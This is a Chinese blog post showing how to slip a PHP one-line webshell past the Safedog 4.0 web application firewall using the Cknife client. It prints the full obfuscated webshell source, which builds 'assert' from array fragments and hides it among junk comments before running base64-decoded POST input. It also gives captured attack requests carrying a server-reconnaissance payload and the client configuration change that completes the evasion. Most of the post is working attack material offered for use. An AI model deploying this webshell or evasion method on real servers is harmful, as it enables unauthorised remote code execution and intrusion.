今天上午给小伙伴分享了sqlmap的tamper脚本debug.下午又想研究点东西了,由于没有清楚一个原因,导致耗时比较长。
作者:倾旋
- 系统:Windows 2003
- WAF:Safe dog 4.0
- PHP: 5.4
- 菜刀:Cknife
PHP中的eval
不是一个函数,而是一个表达式,并不能当做可变函数使用
先说一下菜刀的请求过程(设置好代理)
在第一次一句话木马通过菜刀与服务器建立连接时:
POST /upload/acc.php HTTP/1.1 User-Agent: Java/1.8.0_101 Host: 192.168.1.101 Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Proxy-Connection: keep-alive Content-type: application/x-www-form-urlencoded Content-Length: 684 q=eval(base64_decode($_POST[action]));&action=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw%3D%3D
这里的eval是直接被WAF拦截的。为了不让它拦截,我们一样同第二个参数传输相同的base64密文。
贴出免杀一句话:
<?php $r=$_POST['q']; $ba="base64_decode"; $p = array('f'=>'a', #afffffffff 'pffff'=>'s'/*223* 1*/, 'e'=>'fffff',//FJKSJKFSNMFSSDSDS//D*SA/*DSA&*$@&$@&(#*( 'lfaaaa'=>'r',//FJKSJKFSNMFSSDSDS//D*SA/*DSA&*$@&$@&(#*(; 'nnnnn'=>'t'//&$@&(#*(; );//&$@&(#*(; $a = array_keys($p);//9*9*5656 @$_=$p['pffff'].#/*@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@*/ $p['pffff'].$a[2]; @$_=#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ $p['f']./*-/*-*/$_.#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ $p['lfaaaa'].$p['nnnnn'];#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ $_($ba($r)); ?>
可见完全是免杀的。
过程就是菜刀发送加密的数据包过来以后,再经过base64_decode解密,解密之后将 eval(base64_decode($_POST[action]));传入给$_当做php代码执行,而传入过来的参数中也接收后方的action 参数,并且当做PHP代码执行
整个过程WAF都束手无策!
附上加密后的数据包:
POST /upload/acc.php HTTP/1.1 User-Agent: Java/1.8.0_101 Host: 192.168.1.101 Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Proxy-Connection: keep-alive Content-type: application/x-www-form-urlencoded Content-Length: 684 q=ZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFthY3Rpb25dKSk=&action=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw%3D%3D
修改过程:
找到目录下的Config.ini中的PHP_MAKE,改为:PHP_MAKE=ZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFthY3Rpb25dKSk\=
这样就完全免杀了。
贴出修改前和修改后的效果
修改前
修改后

可以看到已经交互了,并且没有拦截。
本文来自: 蜗蜗侠's Blog-关注网络安全 http://blog.icxun.cn/Note/575.html